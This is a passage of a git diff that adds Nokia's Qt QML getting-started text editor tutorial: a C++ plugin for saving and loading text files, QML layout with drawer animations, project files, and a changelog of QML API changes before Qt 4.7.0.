+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef DIALOGPLUGIN_H
+#define DIALOGPLUGIN_H
+
+#include <QtDeclarative/QDeclarativeExtensionPlugin>
+
+class DialogPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+
+ public:
+ //registerTypes is inherited from QDeclarativeExtensionPlugin
+ void registerTypes(const char *uri);
+
+};
+
+#endif
+
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/directory.cpp b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/directory.cpp
new file mode 100644
index 00000000..3347f9df
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/directory.cpp
@@ -0,0 +1,219 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "directory.h"
+#include <QDebug>
+
+/*
+Directory constructor
+
+Initialize the saves directory and creates the file list
+*/
+Directory::Directory(QObject *parent) : QObject(parent)
+{
+
+
+ m_dir.cd( QDir::currentPath());
+
+ //go to the saved directory. if not found, create save directory
+ m_saveDir = "saves";
+ if (m_dir.cd(m_saveDir) == 0){
+ m_dir.mkdir(m_saveDir);
+ m_dir.cd(m_saveDir);
+ }
+ m_filterList << "*.txt";
+
+ refresh();
+}
+
+/*
+Directory::filesNumber
+Return the number of Files
+*/
+int Directory:: filesCount() const{
+ return m_fileList.size();
+}
+
+/*
+Function called to append data onto list property
+*/
+void appendFiles(QDeclarativeListProperty<File> * property, File * file){
+ //Do nothing. can't add to a directory using this method
+}
+
+/*
+Function called to retrieve file in the list using an index
+*/
+File* fileAt(QDeclarativeListProperty<File> * property, int index){
+ return static_cast< QList<File *> *>(property->data)->at(index);
+}
+
+/*
+Returns the number of files in the list
+*/
+int filesSize(QDeclarativeListProperty<File> * property){
+ return static_cast< QList<File *> *>(property->data)->size();
+}
+
+/*
+Function called to empty the list property contents
+*/
+void clearFilesPtr(QDeclarativeListProperty<File> *property){
+ return static_cast< QList<File *> *>(property->data)->clear();
+}
+
+/*
+Returns the list of files as a QDeclarativeListProperty.
+*/
+QDeclarativeListProperty<File> Directory::files(){
+
+ refresh();
+// return QDeclarativeListProperty<QString>(this,m_filePtrList); //not recommended in the docs
+ return QDeclarativeListProperty<File>( this, &m_fileList, &appendFiles, &filesSize, &fileAt, &clearFilesPtr );
+}
+
+/*
+Return te name of the currently selected file
+*/
+QString Directory::filename() const{
+ return currentFile.name();
+}
+
+/*
+Return the file's content as a string.
+*/
+QString Directory::fileContent() const{
+ return m_fileContent;
+}
+
+/*
+Set the file name of the current file
+*/
+void Directory::setFilename(const QString &str){
+ if(str != currentFile.name()){
+ currentFile.setName(str);
+ emit filenameChanged();
+ }
+}
+
+/*
+Set the content of the file as a string
+*/
+void Directory::setFileContent(const QString &str){
+ if(str != m_fileContent){
+ m_fileContent = str;
+ emit fileContentChanged();
+ }
+}
+
+/*
+Called from QML to save the file using the filename and file content.
+Saving makes sure that the file has a .txt extension.
+*/
+void Directory::saveFile(){
+
+ if(currentFile.name().size() == 0){
+ qWarning()<< "Empty filename. no save";
+ return;
+ }
+
+ QString extendedName = currentFile.name();
+ if(!currentFile.name().endsWith(".txt")){
+ extendedName.append(".txt");
+ }
+
+ QFile file( m_dir.filePath(extendedName) );
+ if (file.open(QFile::WriteOnly | QFile::Truncate)){
+ QTextStream outStream(&file);
+ outStream << m_fileContent;
+ }
+ file.close();
+ refresh();
+ emit directoryChanged();
+}
+
+/*
+Load the contents of a file.
+Only loads files with a .txt extension
+*/
+void Directory::loadFile(){
+
+ m_fileContent.clear();
+ QString extendedName = currentFile.name();
+ if(!currentFile.name().endsWith(".txt")){
+ extendedName.append(".txt");
+ }
+
+ QFile file( m_dir.filePath(extendedName) );
+ if (file.open(QFile::ReadOnly )){
+ QTextStream inStream(&file);
+
+ QString line;
+ do{
+ line = inStream.read(75);
+ m_fileContent.append(line);
+ }while (!line .isNull());
+ }
+ file.close();
+}
+
+/*
+Reloads the content of the files list. This is to ensure that the newly
+created files are added onto the list.
+*/
+void Directory::refresh(){
+ m_dirFiles = m_dir.entryList(m_filterList,QDir::Files,QDir::Name);
+ m_fileList.clear();
+
+ File * file;
+ for(int i = 0; i < m_dirFiles.size() ; i ++){
+
+ file = new File();
+
+ if(m_dirFiles.at(i).endsWith(".txt")){
+ QString name = m_dirFiles.at(i);
+ file->setName( name.remove(".txt",Qt::CaseSensitive));
+ }
+ else{
+ file->setName(m_dirFiles.at(i));
+ }
+ m_fileList.append(file);
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/directory.h b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/directory.h
new file mode 100644
index 00000000..464eedd3
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/directory.h
@@ -0,0 +1,108 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef DIRECTORY_H
+#define DIRECTORY_H
+
+#include "file.h"
+
+#include <QDir>
+#include <QStringList>
+#include <QTextStream>
+#include <QDeclarativeListProperty>
+#include <QObject>
+
+class Directory : public QObject{
+
+ Q_OBJECT
+
+ //number of files in the directory
+ Q_PROPERTY(int filesCount READ filesCount)
+
+ //list property containing file names as QString
+ Q_PROPERTY(QDeclarativeListProperty<File> files READ files CONSTANT )
+
+ //file name of the text file to read/write
+ Q_PROPERTY(QString filename READ filename WRITE setFilename NOTIFY filenameChanged)
+
+ //text content of the file
+ Q_PROPERTY(QString fileContent READ fileContent WRITE setFileContent NOTIFY fileContentChanged)
+
+ public:
+ Directory(QObject *parent = 0);
+
+ //properties' read functions
+ int filesCount() const;
+ QString filename() const;
+ QString fileContent() const;
+ QDeclarativeListProperty<File> files();
+
+ //properties' write functions
+ void setFilename(const QString &str);
+ void setFileContent(const QString &str);
+
+ //accessible from QML
+ Q_INVOKABLE void saveFile();
+ Q_INVOKABLE void loadFile();
+
+ signals:
+ void directoryChanged();
+ void filenameChanged();
+ void fileContentChanged();
+
+ private:
+ QDir m_dir;
+ QStringList m_dirFiles;
+ File currentFile;
+ QString m_saveDir;
+ QStringList m_filterList;
+
+ //contains the file data in QString format
+ QString m_fileContent;
+
+ //Registered to QML in a plugin. Accessible from QML as a property of Directory
+ QList<File *> m_fileList;
+
+ //refresh content of the directory
+ void refresh();
+};
+
+
+#endif
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/file.cpp b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/file.cpp
new file mode 100644
index 00000000..fe095eb7
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/file.cpp
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "file.h"
+
+File::File(QObject *parent) : QObject(parent)
+{
+ m_name = "";
+}
+
+QString File::name() const{
+ return m_name;
+}
+void File::setName(const QString &str){
+ if(str != m_name){
+ m_name = str;
+ emit nameChanged();
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/file.h b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/file.h
new file mode 100644
index 00000000..9eae918b
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/file.h
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef FILE_H
+#define FILE_H
+
+
+#include <QString>
+#include <QObject>
+
+class File : public QObject{
+
+ Q_OBJECT
+
+ Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged)
+
+ public:
+ File(QObject *parent = 0);
+
+ QString name() const;
+ void setName(const QString &str);
+
+ signals:
+ void nameChanged();
+
+ private:
+ QString m_name;
+};
+
+#endif
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/filedialog.pro b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/filedialog.pro
new file mode 100644
index 00000000..62477470
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/filedialog.pro
@@ -0,0 +1,17 @@
+TEMPLATE = lib
+CONFIG += qt plugin
+QT += declarative
+
+DESTDIR += ../plugins
+OBJECTS_DIR = tmp
+MOC_DIR = tmp
+
+TARGET = FileDialog
+
+HEADERS += directory.h \
+ file.h \
+ dialogPlugin.h
+
+SOURCES += directory.cpp \
+ file.cpp \
+ dialogPlugin.cpp
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/qmldir b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/qmldir
new file mode 100644
index 00000000..c2b27dad
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/qmldir
@@ -0,0 +1 @@
+plugin FileDialog plugins
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/images/arrow.png b/examples/tutorials/gettingStarted/gsQml/parts/part5/images/arrow.png
new file mode 100644
index 00000000..14978c2e
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/images/arrow.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/pics/qml-texteditor5_editmenu.png b/examples/tutorials/gettingStarted/gsQml/parts/part5/pics/qml-texteditor5_editmenu.png
new file mode 100644
index 00000000..27feed5e
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/pics/qml-texteditor5_editmenu.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/pics/qml-texteditor5_filemenu.png b/examples/tutorials/gettingStarted/gsQml/parts/part5/pics/qml-texteditor5_filemenu.png
new file mode 100644
index 00000000..4d8f9f22
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/pics/qml-texteditor5_filemenu.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/pics/qml-texteditor5_newfile.png b/examples/tutorials/gettingStarted/gsQml/parts/part5/pics/qml-texteditor5_newfile.png
new file mode 100644
index 00000000..680acfe8
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/pics/qml-texteditor5_newfile.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/qml-texteditor5.qmlproject b/examples/tutorials/gettingStarted/gsQml/parts/part5/qml-texteditor5.qmlproject
new file mode 100644
index 00000000..ed034dff
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/qml-texteditor5.qmlproject
@@ -0,0 +1,18 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ directory: "core"
+ directory: "filedialog"
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ importPaths: [ " ./plugins " ]
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/pics/qml-texteditor5_editmenu.png b/examples/tutorials/gettingStarted/gsQml/pics/qml-texteditor5_editmenu.png
new file mode 100644
index 00000000..27feed5e
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/pics/qml-texteditor5_editmenu.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/pics/qml-texteditor5_filemenu.png b/examples/tutorials/gettingStarted/gsQml/pics/qml-texteditor5_filemenu.png
new file mode 100644
index 00000000..4d8f9f22
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/pics/qml-texteditor5_filemenu.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/pics/qml-texteditor5_newfile.png b/examples/tutorials/gettingStarted/gsQml/pics/qml-texteditor5_newfile.png
new file mode 100644
index 00000000..680acfe8
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/pics/qml-texteditor5_newfile.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/texteditor.pro b/examples/tutorials/gettingStarted/gsQml/texteditor.pro
new file mode 100644
index 00000000..aa5306cc
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/texteditor.pro
@@ -0,0 +1,4 @@
+TEMPLATE = subdirs
+SUBDIRS = \
+ filedialog\
+
diff --git a/examples/tutorials/gettingStarted/gsQml/texteditor.qml b/examples/tutorials/gettingStarted/gsQml/texteditor.qml
new file mode 100644
index 00000000..ef550282
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/texteditor.qml
@@ -0,0 +1,132 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "core"
+
+Rectangle {
+ id: screen
+ width: 1000; height: 1000
+ property int partition: height/3
+ border { width: 1; color: "#DCDCCC"}
+ state: "DRAWER_CLOSED"
+
+ //Item 1: MenuBar on the top portion of the screen
+ MenuBar {
+ id:menuBar
+ height: screen.partition; width: screen.width
+ z: 1
+ }
+
+ //Item 2: The editable text area
+ TextArea {
+ id: textArea
+ y: drawer.height
+ color: "#3F3F3F"
+ fontColor: "#DCDCCC"
+ height: partition*2; width:parent.width
+ }
+
+ //Item 3: The drawer handle
+ Rectangle {
+ id: drawer
+ height: 15; width: parent.width
+ border { color : "#6A6D6A"; width: 1 }
+ z: 1
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#8C8F8C" }
+ GradientStop { position: 0.17; color: "#6A6D6A" }
+ GradientStop { position: 0.77; color: "#3F3F3F" }
+ GradientStop { position: 1.0; color: "#6A6D6A" }
+ }
+ Image {
+ id: arrowIcon
+ source: "images/arrow.png"
+ anchors.horizontalCenter: parent.horizontalCenter
+ Behavior{ NumberAnimation { property: "rotation"; easing.type: Easing.OutExpo } }
+ }
+
+ MouseArea {
+ id: drawerMouseArea
+ anchors.fill: parent
+ hoverEnabled: true
+ onEntered: parent.border.color = Qt.lighter("#6A6D6A")
+ onExited: parent.border.color = "#6A6D6A"
+ onClicked: {
+ if (screen.state == "DRAWER_CLOSED") {
+ screen.state = "DRAWER_OPEN"
+ }
+ else if (screen.state == "DRAWER_OPEN"){
+ screen.state = "DRAWER_CLOSED"
+ }
+ }
+ }
+ }
+
+//! [states]
+ states:[
+ State {
+ name: "DRAWER_OPEN"
+ PropertyChanges { target: menuBar; y: 0}
+ PropertyChanges { target: textArea; y: partition + drawer.height}
+ PropertyChanges { target: drawer; y: partition}
+ PropertyChanges { target: arrowIcon; rotation: 180}
+ },
+ State {
+ name: "DRAWER_CLOSED"
+ PropertyChanges { target: menuBar; y:-height; }
+ PropertyChanges { target: textArea; y: drawer.height; height: screen.height - drawer.height }
+ PropertyChanges { target: drawer; y: 0 }
+ PropertyChanges { target: arrowIcon; rotation: 0 }
+ }
+ ]
+//! [states]
+
+//! [transitions]
+ transitions: [
+ Transition {
+ to: "*"
+ NumberAnimation { target: textArea; properties: "y, height"; duration: 100; easing.type:Easing.OutExpo }
+ NumberAnimation { target: menuBar; properties: "y"; duration: 100; easing.type: Easing.OutExpo }
+ NumberAnimation { target: drawer; properties: "y"; duration: 100; easing.type: Easing.OutExpo }
+ }
+ ]
+//! [transitions]
+}
diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt
new file mode 100644
index 00000000..6e073305
--- /dev/null
+++ b/src/declarative/QmlChanges.txt
@@ -0,0 +1,364 @@
+=============================================================================
+The changes below are pre Qt 4.7.0 RC1
+
+TextInput
+ - copy(), cut() and paste() functions added
+Font.letterSpacing
+ - was percentage based. Now specified in pixels.
+Item
+ - wantsFocus renamed to activeFocus
+ - forceFocus() renamed to forceActiveFocus()
+ - focus now returns the scoped focus (i.e. focus read/write now manipulate
+ the same value)
+TextInput and TextEdit:
+ - focusOnPress renamed to activeFocusOnPress
+
+=============================================================================
+The changes below are pre Qt 4.7.0 beta 2
+
+QDeclarativeView
+ - initialSize() function added
+TextInput and TextEdit:
+ - openSoftwareInputPanel() and closeSoftwareInputPanel() functions added
+Flickable:
+ - overShoot is replaced by boundsBehavior enumeration
+ - flickingHorizontally and flickingVertically properties added
+ - movingHorizontally and movingVertically properties added
+ - flickDirection is renamed flickableDirection
+Component:
+ - isReady, isLoading, isError and isNull properties removed, use
+ status property instead
+ - errorsString() renamed to errorString()
+ListView:
+ - ListView.prevSection property changed to ListView.previousSection
+TextInput:
+ - xToPosition -> positionAt (to match TextEdit.positionAt)
+Image:
+ - pixmap property removed, use QDeclarativeImageProvider to serve pixmaps
+ instead
+
+QList<QObject*> models no longer provide properties in model object. The
+properties are now updated when the object changes. An object's property
+"foo" may now be accessed as "foo", modelData.foo" or model.modelData.foo"
+component.createObject has gained a mandatory "parent" argument
+TextEdit and TextInput now have a "selectByMouse" property that defaults to false.
+
+C++ API
+-------
+QDeclarativeExpression::value() has been renamed to
+QDeclarativeExpression::evaluate()
+
+The QDeclarativeExpression constructor has changed from
+ QDeclarativeExpression(context, expression, scope)
+to
+ QDeclarativeExpression(context, scope, expression, parent = 0)
+
+QDeclarativeImageProvider::request() has been renamed to
+QDeclarativeImageProvider::image() and the class can now provide
+both qimages and qpixmaps, and qimages can be served synchronously
+
+QML Viewer
+------------
+The standalone qml executable has been renamed back to Qml Viewer. Runtime warnings
+can be now accessed via the menu (Debugging->Show Warnings).
+
+=============================================================================
+The changes below are pre Qt 4.7.0 beta 1
+
+TextEdit: wrap property is replaced by wrapMode enumeration.
+Text: wrap property is replaced by wrapMode enumeration.
+Removed Q-prefix from validators (IntValidator, DoubleValidator, and RegExpValidator)
+PathView: offset property now uses range 0-1.0 rather than 0-100
+ListView, GridView::positionViewAtIndex() gained a 'mode' parameter
+Removed Qt.playSound (replaced by SoundEffect element)
+Removed Qt.closestAngle (use RotationAnimation instead)
+Removed NumberFormatter
+Removed DateTimeFormatter (use Qt.formatDateTime() instead)
+Using WebView now requires "import QtWebKit 1.0"
+Using Particles now requires "import Qt.labs.particles 1.0"
+AnchorAnimation must now be used to animate anchor changes (and not NumberAnimation)
+Removed ParentAction (use ParentAnimation instead)
+ScriptAction: renamed stateChangeScriptName -> scriptName
+Animation: replace repeat with loops (loops: Animation.Infinite gives the old repeat behavior)
+AnchorChanges: use natural form to specify anchors (anchors.left instead of left)
+AnchorChanges: removed reset property. (reset: "left" should now be anchors.left: undefined)
+PathView: snapPosition replaced by preferredHighlightBegin, preferredHighlightEnd
+createQmlObject: Moved to the Qt object, now use Qt.createQmlObject()
+createComponent: Moved to the Qt object, now use Qt.createComponent()
+
+C++ API
+-------
+QDeclarativeContext::addDefaultObject() has been replaced with
+QDeclarativeContext::setContextObject()
+
+Behavior and Animation syntax
+-----------------------------
+Previously animations and behaviors could be "assigned" to properties like this:
+ Item { x: Behavior {}; y: NumberAnimation {} }
+To make it more obvious that these are not regular value assignments a new "on"
+syntax has been introduced:
+ Item { Behavior on x {}; NumberAnimation on y {} }
+Only the syntax has changed, the behavior is identical.
+
+EaseFollow renamed to SmoothedFollow
+---------------------------------------
+This element shares the internal implementation with SmoothedAnimation,
+both providing the same easing function, but with SmoothedFollow it's
+easier to set a start value to animate intially and then start to follow,
+while SmoothedAnimation is still convenient for using inside Behaviors
+and Transitions.
+
+
+Add SmoothedAnimation element
+---------------------------------------
+SmoothedAnimation inherits from NumberAnimaton and as a
+consequence SmoothedAnimation can be used inside Behaviors,
+as PropertySourceValues or in state transitions, like any other animation.
+
+The old EaseFollow properties changed to comply with the other declarative
+animations ('source' changed to 'to'), so now 'to' changes are not
+automatically 'followed' anymore.
+
+If you want to follow an hypothetical rect1, you should do now:
+
+ Rectangle {
+ color: "green"
+ width: 60; height: 60;
+ x: rect1.x - 5; y: rect1.y - 5;
+ Behavior on x { SmoothedAnimation { velocity: 200 } }
+ Behavior on y { SmoothedAnimation { velocity: 200 } }
+ }
+
+instead of the old automatic source changed tracking:
+
+ Rectangle {
+ color: "green"
+ width: 60; height: 60;
+ EaseFollow on x { source: rect1.x - 5; velocity: 200 }
+ EaseFollow on y { source: rect1.y - 5; velocity: 200 }
+ }
+
+This is a syntax and behavior change.
+
+
+Script element removed
+----------------------
+Inline Script{} blocks have been deprecated, and will soon be removed entirely.
+If you used Script to write inline javascript code, it can simply be removed.
